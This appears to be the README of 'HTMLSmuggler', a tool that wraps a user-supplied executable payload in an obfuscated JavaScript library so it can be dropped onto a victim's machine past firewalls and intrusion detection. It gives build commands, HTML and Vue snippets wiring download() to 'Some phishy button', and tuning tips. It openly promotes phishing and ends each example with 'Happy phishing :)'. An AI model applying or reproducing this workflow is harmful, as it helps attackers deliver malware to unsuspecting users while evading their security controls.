The full explanation what is HTML Smuggling may be found here.
The primary objective of HTML smuggling is to bypass network security controls, such as firewalls and intrusion detection systems, by disguising malicious payloads within seemingly harmless HTML and JavaScript code. By exploiting the dynamic nature of web applications, attackers can deliver malicious content to a user's browser without triggering security alerts or being detected by traditional security mechanisms. Thanks to this technique, the download of a malicious file is not displayed in any way in modern IDS solutions.
The main goal of HTMLSmuggler tool is creating an independent javascript library with embedded malicious user-defined payload. This library may be integrated into your phishing sites/email html attachments/etc. to bypass IDS and IPS system and deliver embedded payload to the target user system. An example of created javascript library may be found here.
Features
- Built-in highly configurable JavaScript obfuscator that fully hides your payload.
- May be used both as an independent JS library or embedded in JS frameworks such as React, Vue.js, etc.
- The simplicity of the template allows you to add extra data handlers/compressions/obfuscations.
Installation
-
Install yarn package manager.
-
Install dependencies:
yarn -
Read help message.
yarn build -hUsagePreparation steps
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Modify (or use my) javascript-obfuscator options in
obfuscator.js, my preset is nice, but very slow. -
Compile your javascript payload:
yarn build -p /path/to/payload -n file.exe -t "application/octet-stream" -c -
Get your payload from
dist/payload.esm.jsordist/payload.umd.js. After that, it may be inserted into your page and called withdownload()function.
payload.esm.jsis used inimport { download } from 'payload.esm';imports (ECMAScript standart).payload.umd.jsis used in html script SRC andrequire('payload.umd');imports (CommonJS, AMD and pure html).Pure HTML example
A full example may be found here.
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Import created script to html file (or insert it inline):
<head>
<script src="payload.umd.js"></script>
</head> -
Call
download()function from body:<body>
<button onclick="download()">Some phishy button</button>
</body> -
Happy phishing :)
VueJS example
A full example may be found here.
-
Import created script to vue file:
<script>
import { download } from './payload.esm';
</script> -
Call
download()function:<template>
<button @click="download()">Some phishy button</button>
</template> -
Happy phishing :)
FAQ
Q: I have an error
RangeError: Maximum call stack size exceeded, how to solve it?A: This issue described here. To fix it, try to disable
splitStringsinobfuscator.jsor make smaller payload (it's recommended to use up to 2 MB payloads because of this issue).
Q: Why does my payload build so long?
A: The bigger payload you use, the longer it takes to create a JS file. To decrease time of build, try to disable
splitStringsinobfuscator.js. Below is a table with estimated build times using defaultobfuscator.js.Payload size Build time 525 KB 53 s 1.25 MB 8 m 3.59 MB 25 m -
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